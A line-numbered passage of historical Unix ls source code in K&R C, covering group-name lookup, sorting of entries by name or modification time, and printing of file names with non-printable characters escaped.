  1006.         if (gr->gr_gid < 0 || gr->gr_gid >= MAXGID) {
  1007.             if (gr->gr_gid == gid) {
  1008.                 outrangegid = gr->gr_gid;
  1009.                 SCPYN(outrangegroup, gr->gr_name);
  1010.                 return (outrangegroup);
  1011.             }
  1012.             continue;
  1013.         }
  1014.         if (groups[gr->gr_gid][0])
  1015.             continue;
  1016.         SCPYN(groups[gr->gr_gid], gr->gr_name);
  1017.         if (gr->gr_gid == gid)
  1018.             return (&groups[gid][0]);
  1019.     }
  1020.     init = 2;
  1021.     goto rescan;
  1022. }
  1023.  
  1024. compar(pp1, pp2)  /* return >0 if item pointed by pp2 should appear first */
  1025. struct lbuf **pp1, **pp2;
  1026. {
  1027.     register struct lbuf *p1, *p2;
  1028.  
  1029.     p1 = *pp1;
  1030.     p2 = *pp2;
  1031.     if (dflg==0) {
  1032. /* compare two names in ls-command one of which is file
  1033.  *  and the other is a directory;
  1034.  *  this portion is not used for comparing files within
  1035.  *  a directory name of ls-command;
  1036.  */
  1037.         if (p1->lflags&ISARG && p1->ltype=='d') {
  1038.             if (!(p2->lflags&ISARG && p2->ltype=='d'))
  1039.                 return(1);
  1040.                 }
  1041.                 else {
  1042.             if (p2->lflags&ISARG && p2->ltype=='d')
  1043.                 return(-1);
  1044.         }
  1045.     }
  1046.     if (tflg) {
  1047.         if(p2->lmtime == p1->lmtime)
  1048.             return(0);
  1049.         else if(p2->lmtime > p1->lmtime)
  1050.                  return(rflg);
  1051.         else return(-rflg);
  1052.     }
  1053.         else
  1054.              return(rflg * strcmp(p1->lname, p2->lname));
  1055. }
  1056.  
  1057. pprintf(s)
  1058.     register char *s;
  1059. {
  1060.     register int   c;
  1061.     register int  cc;
  1062.  
  1063.     while(c = *s++) {
  1064.         if (!isprint(c)) {
  1065.             if (qflg)
  1066.                 c = '?';
  1067.             else if (bflg) {
  1068.                 curcol += 3;
  1069.                 putc ('\\', stdout);
  1070.                 cc = '0' + (c>>6 & 07);
  1071.                 putc (cc, stdout);
  1072.                 cc = '0' + (c>>3 & 07);
  1073.                 putc (cc, stdout);
  1074.                 c = '0' + (c & 07);
  1075.             }
  1076.         }
  1077.         curcol++;
  1078.         putc(c, stdout);
  1079.     }
  1080. }
  1081.